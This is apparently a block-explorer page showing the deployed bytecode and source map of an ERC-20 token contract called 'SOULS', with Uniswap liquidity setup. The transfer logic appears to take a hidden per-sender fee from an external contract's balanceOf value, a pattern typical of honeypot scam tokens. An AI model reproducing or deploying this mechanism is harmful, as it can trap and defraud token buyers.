fffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534f554c53000000000000000000000000000000000000000000000000000000815250905090565b5f610b87338484610dd6565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7890611908565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce690611996565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dc991906114dc565b60405180910390a3505050565b5f808211610de2575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e19575f80fd5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610ec857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f72575f8173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401610f079190611588565b602060405180830381865afa158015610f22573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4691906119b4565b9050610f6e6064610f60838761115b90919063ffffffff16565b6111d290919063ffffffff16565b9250505b610fc28360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111290919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611065826110578560035f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461121b90919063ffffffff16565b61111290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161110391906114dc565b60405180910390a35050505050565b5f61115383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611278565b905092915050565b5f80830361116b575f90506111cc565b5f82846111789190611a0c565b90508284826111879190611a7a565b146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be90611b1a565b60405180910390fd5b809150505b92915050565b5f61121383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112da565b905092915050565b5f8082846112299190611b38565b90508381101561126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590611bb5565b60405180910390fd5b8091505092915050565b5f8383111582906112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b691906113ab565b60405180910390fd5b505f83856112cd9190611bd3565b9050809150509392505050565b5f8083118290611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131791906113ab565b60405180910390fd5b505f838561132e9190611a7a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61137d8261133b565b6113878185611345565b9350611397818560208601611355565b6113a081611363565b840191505092915050565b5f6020820190508181035f8301526113c38184611373565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113f8826113cf565b9050919050565b611408816113ee565b8114611412575f80fd5b50565b5f81359050611423816113ff565b92915050565b5f819050919050565b61143b81611429565b8114611445575f80fd5b50565b5f8135905061145681611432565b92915050565b5f8060408385031215611472576114716113cb565b5b5f61147f85828601611415565b925050602061149085828601611448565b9150509250929050565b5f8115159050919050565b6114ae8161149a565b82525050565b5f6020820190506114c75f8301846114a5565b92915050565b6114d681611429565b82525050565b5f6020820190506114ef5f8301846114cd565b92915050565b5f805f6060848603121561150c5761150b6113cb565b5b5f61151986828701611415565b935050602061152a86828701611415565b925050604061153b86828701611448565b9150509250925092565b5f60ff82169050919050565b61155a81611545565b82525050565b5f6020820190506115735f830184611551565b92915050565b611582816113ee565b82525050565b5f60208201905061159b5f830184611579565b92915050565b6115aa8161149a565b81146115b4575f80fd5b50565b5f813590506115c5816115a1565b92915050565b5f602082840312156115e0576115df6113cb565b5b5f6115ed848285016115b7565b91505092915050565b5f6020828403121561160b5761160a6113cb565b5b5f61161884828501611415565b91505092915050565b5f8060408385031215611637576116366113cb565b5b5f61164485828601611415565b925050602061165585828601611415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611693602083611345565b915061169e8261165f565b602082019050919050565b5f6020820190508181035f8301526116c081611687565b9050919050565b5f815190506116d5816113ff565b92915050565b5f602082840312156116f0576116ef6113cb565b5b5f6116fd848285016116c7565b91505092915050565b5f6040820190506117195f830185611579565b6117266020830184611579565b9392505050565b5f819050919050565b5f819050919050565b5f61175961175461174f8461172d565b611736565b611429565b9050919050565b6117698161173f565b82525050565b5f60c0820190506117825f830189611579565b61178f60208301886114cd565b61179c6040830187611760565b6117a96060830186611760565b6117b66080830185611579565b6117c360a08301846114cd565b979650505050505050565b5f815190506117dc81611432565b92915050565b5f805f606084860312156117f9576117f86113cb565b5b5f611806868287016117ce565b9350506020611817868287016117ce565b9250506040611828868287016117ce565b9150509250925092565b5f6040820190506118455f830185611579565b61185260208301846114cd565b9392505050565b5f81519050611867816115a1565b92915050565b5f60208284031215611882576118816113cb565b5b5f61188f84828501611859565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118f2602483611345565b91506118fd82611898565b604082019050919050565b5f6020820190508181035f83015261191f816118e6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611980602283611345565b915061198b82611926565b604082019050919050565b5f6020820190508181035f8301526119ad81611974565b9050919050565b5f602082840312156119c9576119c86113cb565b5b5f6119d6848285016117ce565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a1682611429565b9150611a2183611429565b9250828202611a2f81611429565b91508282048414831517611a4657611a456119df565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a8482611429565b9150611a8f83611429565b925082611a9f57611a9e611a4d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b04602183611345565b9150611b0f82611aaa565b604082019050919050565b5f6020820190508181035f830152611b3181611af8565b9050919050565b5f611b4282611429565b9150611b4d83611429565b9250828201905080821115611b6557611b646119df565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611b9f601b83611345565b9150611baa82611b6b565b602082019050919050565b5f6020820190508181035f830152611bcc81611b93565b9050919050565b5f611bdd82611429565b9150611be883611429565b9250828203905081811115611c0057611bff6119df565b5b9291505056fea2646970667358221220e5c86d942e233f7d3c3aca1ee947a94a5c6a3bcc9085cf3ebd4eb21e854f89c164736f6c63430008190033

Deployed Bytecode Sourcemap

2983:4057:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4364:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4455:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6248:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5842:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6498:539;;;:::i;:::-;;3322:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4178:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3535:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6389:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4617:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;950:140;;;;;;;;;;;;;:::i;:::-;;1156:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4269;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5678:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6106:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4364:83;4401:13;4434:5;;;;;;;;;;;;;;;;;4427:12;;4364:83;:::o;4455:150::-;4521:4;4538:37;4547:10;4559:7;4568:6;4538:8;:37::i;:::-;4593:4;4586:11;;4455:150;;;;:::o;6248:91::-;6292:7;6319:12;;6312:19;;6248:91;:::o;5842:256::-;5931:4;5948:36;5958:6;5966:9;5977:6;5948:9;:36::i;:::-;5995:73;6004:6;6012:10;6024:43;6060:6;6024:11;:19;6036:6;6024:19;;;;;;;;;;;;;;;:31;6044:10;6024:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5995:8;:73::i;:::-;6086:4;6079:11;;5842:256;;;;;:::o;6498:539::-;875:10;864:21;;:7;:5;:7::i;:::-;:21;;;856:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6571:14:::1;;;;;;;;;;;6570:15;6562:24;;;::::0;::::1;;6598:63;6615:4;6630:15;;;;;;;;;;;6648:12;;6598:8;:63::i;:::-;6706:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6688:55;;;6752:4;6759:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6688:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6672:13;;:110;;;;;;;;;;;;;;;;;;6793:15;;;;;;;;;;;:31;;;6832:9;6851:4;6857:24;6875:4;6857:9;:24::i;:::-;6883:1;6886::::0;6889:7:::1;:5;:7::i;:::-;6898:15;6793:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6932:13;;;;;;;;;;;6925:29;;;6963:15;;;;;;;;;;;6981:14;6925:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7025:4;7008:14;;:21;;;;;;;;;;;;;;;;;;6498:539::o:0;3322:58::-;;;;:::o;4178:83::-;4219:5;4244:9;;;;;;;;;;;4237:16;;4178:83;:::o;3535:28::-;;;;;;;;;;;;;:::o;6389:101::-;875:10;864:21;;:7;:5;:7::i;:::-;:21;;;856:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6470:12:::1;6456:11;;:26;;;;;;;;;;;;;;;;;;6389:101:::0;:::o;4617:110::-;4674:7;4701:9;:18;4711:7;4701:18;;;;;;;;;;;;;;;;4694:25;;4617:110;;;:::o;950:140::-;875:10;864:21;;:7;:5;:7::i;:::-;:21;;;856:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1049:1:::1;1012:40;;1033:6;::::0;::::1;;;;;;;;1012:40;;;;;;;;;;;;1080:1;1063:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;950:140::o:0;1156:87::-;1202:7;1229:6;;;;;;;;;;;1222:13;;1156:87;:::o;4269:::-;4308:13;4341:7;;;;;;;;;;;;;;;;;4334:14;;4269:87;:::o;5678:156::-;5747:4;5764:40;5774:10;5786:9;5797:6;5764:9;:40::i;:::-;5822:4;5815:11;;5678:156;;;;:::o;6106:134::-;6178:7;6205:11;:18;6217:5;6205:18;;;;;;;;;;;;;;;:27;6224:7;6205:27;;;;;;;;;;;;;;;;6198:34;;6106:134;;;;:::o;4735:335::-;4845:1;4828:19;;:5;:19;;;4820:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4926:1;4907:21;;:7;:21;;;4899:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5008:6;4978:11;:18;4990:5;4978:18;;;;;;;;;;;;;;;:27;4997:7;4978:27;;;;;;;;;;;;;;;:36;;;;5046:7;5030:32;;5039:5;5030:32;;;5055:6;5030:32;;;;;;:::i;:::-;;;;;;;;4735:335;;;:::o;5078:592::-;5165:18;5215:1;5206:6;:10;5198:19;;;;;;5252:1;5236:18;;:4;:18;;;5228:27;;;;;;5267:10;5287;;;;;;;;;;;5267:31;;5321:13;;;;;;;;;;;5313:21;;:4;:21;;;;:46;;;;;5354:4;5338:21;;:4;:21;;;;5313:46;5309:167;;;5377:12;5392:3;:13;;;5406:4;5392:19;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5377:34;;5439:25;5460:3;5439:16;5450:4;5439:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5426:38;;5361:115;5309:167;5504:27;5524:6;5504:9;:15;5514:4;5504:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5486:9;:15;5496:4;5486:15;;;;;;;;;;;;;;;:45;;;;5565:48;5602:10;5565:32;5590:6;5565:9;:20;5575:9;5565:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;:36;;:48;;;;:::i;:::-;5542:9;:20;5552:9;5542:20;;;;;;;;;;;;;;;:71;;;;5644:9;5629:33;;5638:4;5629:33;;;5655:6;5629:33;;;;;;:::i;:::-;;;;;;;;5154:516;;5078:592;;;:::o;2199:136::-;2257:7;2284:43;2288:1;2291;2284:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2277:50;;2199:136;;;;:::o;2341:246::-;2399:7;2428:1;2423;:6;2419:47;;2453:1;2446:8;;;;2419:47;2476:9;2492:1;2488;:5;;;;:::i;:::-;2476:17;;2521:1;2516;2512;:5;;;;:::i;:::-;:10;2504:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2578:1;2571:8;;;2341:246;;;;;:::o;1876:132::-;1934:7;1961:39;1965:1;1968;1961:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1954:46;;1876:132;;;;:::o;2014:179::-;2072:7;2092:9;2108:1;2104;:5;;;;:::i;:::-;2092:17;;2133:1;2128;:6;;2120:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2184:1;2177:8;;;2014:179;;;;:::o;2593:190::-;2679:7;2712:1;2707;:6;;2715:12;2699:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2739:9;2755:1;2751;:5;;;;:::i;:::-;2739:17;;2774:1;2767:8;;;2593:190;;;;;:::o;2789:189::-;2875:7;2907:1;2903;:5;2910:12;2895:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2934:9;2950:1;2946;:5;;;;:::i;:::-;2934:17;;2969:1;2962:8;;;2789:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:116::-;5168:21;5183:5;5168:21;:::i;:::-;5161:5;5158:32;5148:60;;5204:1;5201;5194:12;5148:60;5098:116;:::o;5220:133::-;5263:5;5301:6;5288:20;5279:29;;5317:30;5341:5;5317:30;:::i;:::-;5220:133;;;;:::o;5359:323::-;5415:6;5464:2;5452:9;5443:7;5439:23;5435:32;5432:119;;;5470:79;;:::i;:::-;5432:119;5590:1;5615:50;5657:7;5648:6;5637:9;5633:22;5615:50;:::i;:::-;5605:60;;5561:114;5359:323;;;;:::o;5688:329::-;5747:6;5796:2;5784:9;5775:7;5771:23;5767:32;5764:119;;;5802:79;;:::i;:::-;5764:119;5922:1;5947:53;5992:7;5983:6;5972:9;5968:22;5947:53;:::i;:::-;5937:63;;5893:117;5688:329;;;;:::o;6023:474::-;6091:6;6099;6148:2;6136:9;6127:7;6123:23;6119:32;6116:119;;;6154:79;;:::i;:::-;6116:119;6274:1;6299:53;6344:7;6335:6;6324:9;6320:22;6299:53;:::i;:::-;6289:63;;6245:117;6401:2;6427:53;6472:7;6463:6;6452:9;6448:22;6427:53;:::i;:::-;6417:63;;6372:118;6023:474;;;;;:::o;6503:182::-;6643:34;6639:1;6631:6;6627:14;6620:58;6503:182;:::o;6691:366::-;6833:3;6854:67;6918:2;6913:3;6854:67;:::i;:::-;6847:74;;6930:93;7019:3;6930:93;:::i;:::-;7048:2;7043:3;7039:12;7032:19;;6691:366;;;:::o;7063:419::-;7229:4;7267:2;7256:9;7252:18;7244:26;;7316:9;7310:4;7306:20;7302:1;7291:9;7287:17;7280:47;7344:131;7470:4;7344:131;:::i;:::-;7336:139;;7063:419;;;:::o;7488:143::-;7545:5;7576:6;7570:13;7561:22;;7592:33;7619:5;7592:33;:::i;:::-;7488:143;;;;:::o;7637:351::-;7707:6;7756:2;7744:9;7735:7;7731:23;7727:32;7724:119;;;7762:79;;:::i;:::-;7724:119;7882:1;7907:64;7963:7;7954:6;7943:9;7939:22;7907:64;:::i;:::-;7897:74;;7853:128;7637:351;;;;:::o;7994:332::-;8115:4;8153:2;8142:9;8138:18;8130:26;;8166:71;8234:1;8223:9;8219:17;8210:6;8166:71;:::i;:::-;8247:72;8315:2;8304:9;8300:18;8291:6;8247:72;:::i;:::-;7994:332;;;;;:::o;8332:85::-;8377:7;8406:5;8395:16;;8332:85;;;:::o;8423:60::-;8451:3;8472:5;8465:12;;8423:60;;;:::o;8489:158::-;8547:9;8580:61;8598:42;8607:32;8633:5;8607:32;:::i;:::-;8598:42;:::i;:::-;8580:61;:::i;:::-;8567:74;;8489:158;;;:::o;8653:147::-;8748:45;8787:5;8748:45;:::i;:::-;8743:3;8736:58;8653:147;;:::o;8806:807::-;9055:4;9093:3;9082:9;9078:19;9070:27;;9107:71;9175:1;9164:9;9160:17;9151:6;9107:71;:::i;:::-;9188:72;9256:2;9245:9;9241:18;9232:6;9188:72;:::i;:::-;9270:80;9346:2;9335:9;9331:18;9322:6;9270:80;:::i;:::-;9360;9436:2;9425:9;9421:18;9412:6;9360:80;:::i;:::-;9450:73;9518:3;9507:9;9503:19;9494:6;9450:73;:::i;:::-;9533;9601:3;9590:9;9586:19;9577:6;9533:73;:::i;:::-;8806:807;;;;;;;;;:::o;9619:143::-;9676:5;9707:6;9701:13;9692:22;;9723:33;9750:5;9723:33;:::i;:::-;9619:143;;;;:::o;9768:663::-;9856:6;9864;9872;9921:2;9909:9;9900:7;9896:23;9892:32;9889:119;;;9927:79;;:::i;:::-;9889:119;10047:1;10072:64;10128:7;10119:6;10108:9;10104:22;10072:64;:::i;:::-;10062:74;;10018:128;10185:2;10211:64;10267:7;10258:6;10247:9;10243:22;10211:64;:::i;:::-;10201:74;;10156:129;10324:2;10350:64;10406:7;10397:6;10386:9;10382:22;10350:64;:::i;:::-;10340:74;;10295:129;9768:663;;;;;:::o;10437:332::-;10558:4;10596:2;10585:9;10581:18;10573:26;;10609:71;10677:1;10666:9;10662:17;10653:6;10609:71;:::i;:::-;10690:72;10758:2;10747:9;10743:18;10734:6;10690:72;:::i;:::-;10437:332;;;;;:::o;10775:137::-;10829:5;10860:6;10854:13;10845:22;;10876:30;10900:5;10876:30;:::i;:::-;10775:137;;;;:::o;10918:345::-;10985:6;11034:2;11022:9;11013:7;11009:23;11005:32;11002:119;;;11040:79;;:::i;:::-;11002:119;11160:1;11185:61;11238:7;11229:6;11218:9;11214:22;11185:61;:::i;:::-;11175:71;;11131:125;10918:345;;;;:::o;11269:223::-;11409:34;11405:1;11397:6;11393:14;11386:58;11478:6;11473:2;11465:6;11461:15;11454:31;11269:223;:::o;11498:366::-;11640:3;11661:67;11725:2;11720:3;11661:67;:::i;:::-;11654:74;;11737:93;11826:3;11737:93;:::i;:::-;11855:2;11850:3;11846:12;11839:19;;11498:366;;;:::o;11870:419::-;12036:4;12074:2;12063:9;12059:18;12051:26;;12123:9;12117:4;12113:20;12109:1;12098:9;12094:17;12087:47;12151:131;12277:4;12151:131;:::i;:::-;12143:139;;11870:419;;;:::o;12295:221::-;12435:34;12431:1;12423:6;12419:14;12412:58;12504:4;12499:2;12491:6;12487:15;12480:29;12295:221;:::o;12522:366::-;12664:3;12685:67;12749:2;12744:3;12685:67;:::i;:::-;12678:74;;12761:93;12850:3;12761:93;:::i;:::-;12879:2;12874:3;12870:12;12863:19;;12522:366;;;:::o;12894:419::-;13060:4;13098:2;13087:9;13083:18;13075:26;;13147:9;13141:4;13137:20;13133:1;13122:9;13118:17;13111:47;13175:131;13301:4;13175:131;:::i;:::-;13167:139;;12894:419;;;:::o;13319:351::-;13389:6;13438:2;13426:9;13417:7;13413:23;13409:32;13406:119;;;13444:79;;:::i;:::-;13406:119;13564:1;13589:64;13645:7;13636:6;13625:9;13621:22;13589:64;:::i;:::-;13579:74;;13535:128;13319:351;;;;:::o;13676:180::-;13724:77;13721:1;13714:88;13821:4;13818:1;13811:15;13845:4;13842:1;13835:15;13862:410;13902:7;13925:20;13943:1;13925:20;:::i;:::-;13920:25;;13959:20;13977:1;13959:20;:::i;:::-;13954:25;;14014:1;14011;14007:9;14036:30;14054:11;14036:30;:::i;:::-;14025:41;;14215:1;14206:7;14202:15;14199:1;14196:22;14176:1;14169:9;14149:83;14126:139;;14245:18;;:::i;:::-;14126:139;13910:362;13862:410;;;;:::o;14278:180::-;14326:77;14323:1;14316:88;14423:4;14420:1;14413:15;14447:4;14444:1;14437:15;14464:185;14504:1;14521:20;14539:1;14521:20;:::i;:::-;14516:25;;14555:20;14573:1;14555:20;:::i;:::-;14550:25;;14594:1;14584:35;;14599:18;;:::i;:::-;14584:35;14641:1;14638;14634:9;14629:14;;14464:185;;;;:::o;14655:220::-;14795:34;14791:1;14783:6;14779:14;14772:58;14864:3;14859:2;14851:6;14847:15;14840:28;14655:220;:::o;14881:366::-;15023:3;15044:67;15108:2;15103:3;15044:67;:::i;:::-;15037:74;;15120:93;15209:3;15120:93;:::i;:::-;15238:2;15233:3;15229:12;15222:19;;14881:366;;;:::o;15253:419::-;15419:4;15457:2;15446:9;15442:18;15434:26;;15506:9;15500:4;15496:20;15492:1;15481:9;15477:17;15470:47;15534:131;15660:4;15534:131;:::i;:::-;15526:139;;15253:419;;;:::o;15678:191::-;15718:3;15737:20;15755:1;15737:20;:::i;:::-;15732:25;;15771:20;15789:1;15771:20;:::i;:::-;15766:25;;15814:1;15811;15807:9;15800:16;;15835:3;15832:1;15829:10;15826:36;;;15842:18;;:::i;:::-;15826:36;15678:191;;;;:::o;15875:177::-;16015:29;16011:1;16003:6;15999:14;15992:53;15875:177;:::o;16058:366::-;16200:3;16221:67;16285:2;16280:3;16221:67;:::i;:::-;16214:74;;16297:93;16386:3;16297:93;:::i;:::-;16415:2;16410:3;16406:12;16399:19;;16058:366;;;:::o;16430:419::-;16596:4;16634:2;16623:9;16619:18;16611:26;;16683:9;16677:4;16673:20;16669:1;16658:9;16654:17;16647:47;16711:131;16837:4;16711:131;:::i;:::-;16703:139;;16430:419;;;:::o;16855:194::-;16895:4;16915:20;16933:1;16915:20;:::i;:::-;16910:25;;16949:20;16967:1;16949:20;:::i;:::-;16944:25;;16993:1;16990;16986:9;16978:17;;17017:1;17011:4;17008:11;17005:37;;;17022:18;;:::i;:::-;17005:37;16855:194;;;;:::o

Swarm Source

ipfs://e5c86d942e233f7d3c3aca1ee947a94a5c6a3bcc9085cf3ebd4eb21e854f89c1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.